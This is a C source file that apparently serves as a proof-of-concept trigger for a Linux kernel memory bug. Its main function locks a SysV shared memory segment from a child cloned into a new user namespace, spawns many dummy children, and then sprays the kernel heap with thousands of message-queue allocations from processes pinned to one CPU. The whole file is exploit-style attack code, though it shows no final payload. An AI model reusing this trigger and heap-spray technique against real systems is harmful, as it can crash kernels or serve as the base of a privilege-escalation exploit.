#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <linux/limits.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/msg.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <time.h>
#include <unistd.h>

#define SEGMENT_SIZE 0x132000
#define SPRAY_1024 1000
#define error_exit(msg)    do { perror(msg); exit(EXIT_FAILURE);  } while (0)
#define NUM_DUMMY_CHILD 124
#define STACK_SIZE (1024 * 1024)

char child_stack[STACK_SIZE];    /* Space for child's stack */
int pid_dummy_childs[NUM_DUMMY_CHILD];
int segment_id;
int spray_1024_qids[SPRAY_1024];
int verbose;
void **stack_dummy_childs;
void *sh_mem;

typedef struct {
  long mtype;
  char mtext[1];
} msg;

int32_t make_queue(key_t key, int msgflg) {
    int32_t result;
    if ((result = msgget(key, msgflg)) == -1) {
        perror("msgget failure");
        exit(-1);
    }
    return result;
}

ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
    ssize_t ret;
    ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
    if (ret < 0) {
        perror("msgrcv");
        //exit(-1);
    }
    return ret;
}

void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) {
    if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
        perror("msgsend failure");
        //exit(-1);
    }
    return;
}

void generic_spray(uint64_t size, uint64_t count)
{
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;

    memset(buffer, 0x61, sizeof(buffer));
    for (int i = 0; i < count; i++)
    {
        int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(spray, message, size - 0x30, 0);
    }
    return;
}

static int block_shared_memory(void *arg)
{
    printf("[*] BLOCK SHARED MEMORY CHILD EXECUTING\n");
    shmctl(segment_id, SHM_LOCK, NULL);
    printf("[!] BLOCK SHARED MEMORY CHILD EXIT\n");
    exit(0);
}

/* Unused */
static int use_shared_memory(void *args) {
    printf("USE SHARED MEMORY CHILD EXECUTING\n");
    for (int i = 0; i < 10; i++) {
        char *x = "bhoo";
        memcpy(sh_mem, (void *)x, 3);
    }
    printf("USE SHARED MEMORY CHILD EXIT\n");
    exit(0);
}

int dummy_child(void *args) {
    // printf("DUMMY CHILD\n");
    sleep(1);
    int x = 2 + 5 + ((int)time(NULL) % 10);
    exit(x);
}

void print_affinity() {
    cpu_set_t mask;
    long nproc, i;

    if (sched_getaffinity(0, sizeof(cpu_set_t), &mask) == -1) {
        perror("sched_getaffinity");
    }
    nproc = sysconf(_SC_NPROCESSORS_ONLN);
    printf("[!] AFFINITY = ");
    for (i = 0; i < nproc; i++) {
        printf("%d ", CPU_ISSET(i, &mask));
    }
    printf("\n");
}

int main(int argc, char *argv[])
{
    setvbuf(stdout, NULL, _IONBF, 0);
    int flags;
    pid_t child_pid, sprayer_1, sprayer_2;
    cpu_set_t my_set, sprayer_1_set, sprayer_2_set;

    CPU_ZERO(&my_set);
    CPU_SET(0, &my_set);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) {
        perror("sched_setaffinity()");
        exit(1);
    }
    print_affinity();

    flags = CLONE_NEWUSER;

    segment_id = shmget(IPC_PRIVATE, SEGMENT_SIZE, IPC_CREAT | IPC_EXCL | S_IRUSR | S_IWUSR);
    sh_mem = (void *)shmat(segment_id, NULL, 0);
    printf("[*] CREATED segment id: %d\t address: %p\n", segment_id, sh_mem);


    printf("[!] CREATING BLOCK SHARED MEMORY CHILD\n");
    child_pid = clone(block_shared_memory, child_stack + STACK_SIZE, flags | SIGCHLD, NULL);
    if (child_pid == -1) {
        error_exit("clone");
    }

    stack_dummy_childs = malloc(sizeof(void *) * NUM_DUMMY_CHILD);
    for (int j = 0; j < NUM_DUMMY_CHILD; j++) {
        stack_dummy_childs[j] = malloc(0x50);
        pid_dummy_childs[j] = clone(dummy_child, stack_dummy_childs[j], flags | SIGCHLD, NULL);
    }

    for (int j = 0; j < NUM_DUMMY_CHILD; j++) {
        if (waitpid(pid_dummy_childs[j], NULL, 0) == -1) {
            error_exit("waitpid");
        }
    }

    if (waitpid(child_pid, NULL, 0) == -1) {
        error_exit("waitpid");
    }
    
    sprayer_1 = fork();
    if (sprayer_1 == 0) {
        CPU_ZERO(&sprayer_1_set);
        CPU_SET(0, &sprayer_1_set);
        if (sched_setaffinity(0, sizeof(cpu_set_t), &sprayer_1_set) == -1) {
            perror("sched_setaffinity()");
            exit(1);
        }
        // printf("SPRAYER 1 AFFINITY: ");
        // print_affinity();
        generic_spray(1000, 10000);
        exit(0);
    } else {
        sprayer_2 = fork();
        if (sprayer_2 == 0) {
            CPU_ZERO(&sprayer_2_set);
            CPU_SET(0, &sprayer_2_set);
            if (sched_setaffinity(0, sizeof(cpu_set_t), &sprayer_2_set) == -1) {
                perror("sched_setaffinity()");
                exit(1);
            }
            // printf("SPRAYER 2 AFFINITY: ");
            // print_affinity();
            generic_spray(1000, 10000);
            exit(0);
        }
    }

    wait(NULL);
    generic_spray(1000, 1000);

    printf("[*] DESTROY SHARED MEMORY\n");
    shmdt(sh_mem);
    shmctl(segment_id, IPC_RMID, 0);
    printf("[!] DESTROYED SHARED MEMORY\n");

    printf("[!] EXIT MAIN PROCESS\n");
    exit(EXIT_SUCCESS);
}

